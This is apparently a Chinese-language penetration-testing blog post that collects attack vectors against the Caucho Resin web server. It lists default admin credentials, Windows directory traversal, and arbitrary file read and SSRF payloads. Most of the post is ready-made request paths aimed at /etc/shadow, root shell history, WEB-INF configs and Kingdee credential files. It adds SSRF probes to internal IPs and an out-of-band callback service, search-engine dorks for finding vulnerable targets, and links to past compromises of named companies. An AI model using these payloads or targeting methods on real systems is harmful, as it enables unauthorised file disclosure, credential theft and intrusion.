针对Resin服务的攻击向量整理

發表於 2017-10-30 | 分類於 信息安全 |

0x00 弱口令

```
1 http://victim.com/resin-admin/
2 http://victim.com/resin-admin/status.php
3 admin/admin
```

0x01 CVE-2006-1953 Resin Windows远程目录遍历漏洞

参考资料

https://www.rapid7.com/resources/advisories/R7-0024.jsp

http://www.nsfocus.net/vulndb/8829

影响范围

受影响系统：

Caucho Technology Resin v3.0.18 for Windows

Caucho Technology Resin v3.0.17 for Windows

测试代码

```
1 http://victim.com/C:%5C/
2 http://victim.com/D:%5C/
3 http://victim.com/E:%5C/
4 http://victim.com/F:%5C/
```

0x02 Resin %20任意文件读取

http://webscan.360.cn/vul/view/vulid/3528

Resin Windows 漏洞

漏洞描述

Resin for Windows实现上存在多个漏洞，远程攻击者可能利用此漏洞非授权获取敏感信息。

Resin 没有正确过滤通过URL传送的输入，允许远程攻击者通过在URL中提供有任意扩展名的 DOS 设备文件名从系统上的任意 COM 或 LPT设备读取连续的数据流、通过目录遍历攻击泄露Web应用的WEB-INF目录中的文件内容，或通过包含有特殊字符的URL泄露到Caucho Resin服务器的完整系统路径。

影响范围

```
Caucho Resin Professional v3.1.0 for Windows
Caucho Resin v3.1.0 for Windows
Caucho Resin v3.0.21 for Windows
Caucho Resin v3.0.20 for Windows
Caucho Resin v3.0.19 for Windows
Caucho Resin v3.0.18 for Windows
Caucho Resin v3.0.17 for Windows
KNOWN FIXED:

Caucho Resin v3.1.1 for Windows
Caucho Resin Professional v3.1.1 for Windows
```

测试代码

```
http://www.example.com:8080/[path]/[device].[extension]
http://www.example.com:8080/%20../web-inf
http://www.example.com:8080/%20
http://www.example.com:8080/[path]/%20.xtp
```

漏洞危害

通过此漏洞可以读取到串口设备的信息以及网站任意目录的文件遍历。

0x03 Resin jndi-appconfig inputFile 任意文件读取/SSRF

略，之后补充payloads

```
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/hosts
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/shadow
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/opt/nginx/conf/nginx.conf
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/sysconfig/network-scripts
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=~/.bashrc_history
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/root/.bashrc_history
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/opt/www/nagios/WEB-INF/nagios
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/opt/nagios/etc/hostgroup.cfg
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd
```

0x04 Resin viewfile 任意文件读取

略，之后补充payloads

```
/resin-doc/viewfile/?file=index.jsp
/resin-doc/viewfile/?file=config.xml
/resin-doc/viewfile/?file=WEB-INF/web.xml
/resin-doc/viewfile/?file=WEB-INF/resin-web.xml
/resin-doc/viewfile/?file=css/default.css
/resin-doc/viewfile/?file=examples/amber-session/WEB-INF/classes/example/User.java
/resin-doc/viewfile/?file=images/hbleed.gif
```

0x10 Payloads

```
/usr/local/resin/conf/resin.conf

# 基类Payload
/resin-doc/viewfile/?file=/WEB-INF/web.xml
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/hosts
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=远端服务器(Ceye)/内网IP
/%20../WEB-INF/

# 弱口令
/resin-admin/status.php

# 衍生Payload
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/hosts
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/shadow
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/opt/nginx/conf/nginx.conf
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/sysconfig/network-scripts
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=~/.bashrc_history
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/root/.bashrc_history
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/opt/www/nagios/WEB-INF/nagios
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/opt/nagios/etc/hostgroup.cfg
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd



/resin-doc/viewfile/?file=/WEB-INF/web.xml


/resin-doc/viewfile/?contextpath=/&servletpath=&file=fakefile.xml
/resin-doc/viewfile/?contextpath=/&servletpath=&file=/etc/hosts
/resin-doc/viewfile/?contextpath=/&servletpath=&file=/etc/shadow
/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml
/resin-doc/viewfile/?contextpath=./&servletpath=&file=WEB-INF/web.xml
/resin-doc/viewfile/?contextpath=C:\&servletpath=&file=boot.ini
```

```
/resin-doc/viewfile/?file=index.jsp

/resin-doc/examples/ioc-periodictask/viewfile?file=index.xtp
/resin-doc/examples/jndi-appconfig/test?inputFile=C:\Windows\system.ini




# 针对金蝶的payload
/kingdee/%20../web-inf/
/kingdee/%20../editor/
/kingdee/%20../disk/
# AD域服务器帐号密码(可能未配置)
/kingdee/%20../web-inf/classes/ad_config.conf
# ctop数据库帐号密码
/kingdee/%20../web-inf/classes/ctop.conf
# 短信网关
/kingdee/%20../web-inf/classes/sms_config.conf
# 金蝶变形
/ctop/%20../web-inf/


# 潜在的绕过
/%20../web-inf/
/%20../WEB-INF/

# 潜在的SSRF
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://10.0.201.75
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=https://www.secpulse.com/robot
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=远端服务器(Ceye)

# CVE-2006-1953
/A:%5C/
/B:%5C/
/C:%5C/
/D:%5C/
/E:%5C/
/F:%5C/
/G:%5C/
/H:%5C/

```

0x11案例

主要流行时间

15年6月-15年12月

https://web.archive.org/web/20130915134701/https://www.rapid7.com/resources/advisories/R7-0028.jsp

https://www.rapid7.com/resources/advisories/R7-0028.jsp

https://www.rapid7.com/resources/advisories/R7-0029.jsp

https://www.rapid7.com/resources/advisories/R7-0030.jsp

a. %20 任意文件读取

Resin漏洞利用案例之目录遍历/以金蝶某系统为例

https://www.secpulse.com/archives/39144.html

中国人寿某站存在resin目录遍历漏洞导致内部多数据库信息泄露

https://www.secpulse.com/archives/41485.html

b. jndi-appconfig inputFile 任意文件读取/SSRF

和讯网某分站resin任意文件读取附赠xss一枚

https://www.secpulse.com/archives/37175.html

和讯网某站点任意文件读取和SSRF漏洞

https://www.secpulse.com/archives/34659.html

21CN某站点站点任意文件读取和SSRF漏洞可探测内网（resin成功利用案例）

https://www.secpulse.com/archives/40166.html

c. viewfile 任意文件读取

58同城漏洞大集合(任意上传，Resin远程文件等)

https://www.secpulse.com/archives/15056.html

百合网从Resin文件读取到webshell

https://www.secpulse.com/archives/14755.html

爱奇艺Resin配置漏洞

https://www.secpulse.com/archives/13485.html

搜狐网Resin配置漏洞，导致敏感信息泄露

https://www.secpulse.com/archives/12074.html

南方电网国际resin任意文件读取

https://www.secpulse.com/archives/9536.html

d. CVE-2006-1953 Resin Windows远程目录遍历漏洞

Resin漏洞利用案例之Windows全盘遍历漏洞（以某省戒毒所为例）

https://www.secpulse.com/archives/37313.html

万户OA

万户网络Resin版本过低导致客户网站磁盘信息泄露

https://www.secpulse.com/archives/30621.html

万户网络技建站使用中间件Resin版本过低导致众多客户网站磁盘信息泄露

https://www.secpulse.com/archives/20697.html

e. 弱口令

人人网多个Resin弱口令

https://www.secpulse.com/archives/29247.html

17173两个站点Resin存在弱口令

https://www.secpulse.com/archives/24364.html

0x12 自动化目标方案

```
1 inurl:jndi-appconfig/test
2 Shadon
3 FOFA/Zoomeye
```

0x13 补充

Ceye

HTTP盲攻击接收/可视化

可以参考 Cplushua(宫华) 的 HTTP 盲攻击 (Freebuf公开课)

这里的盲攻击指的是无回显的攻击。

http://ceye.io/record/index

https://sso.telnet404.com/cas/login?service=http%3A%2F%2Fceye.io%2Flogin%2F

#渗透测试 #Red Team

‹ 1989 至 2017 长达29年的 RAT 编年史

CVE-2014-0224 SSL/TLS中间人攻击漏洞(CCS注入) ›

© 2015 - 2018 ♥ Ray
由 Hexo 強力驅動 | 主題 - NexT.Mist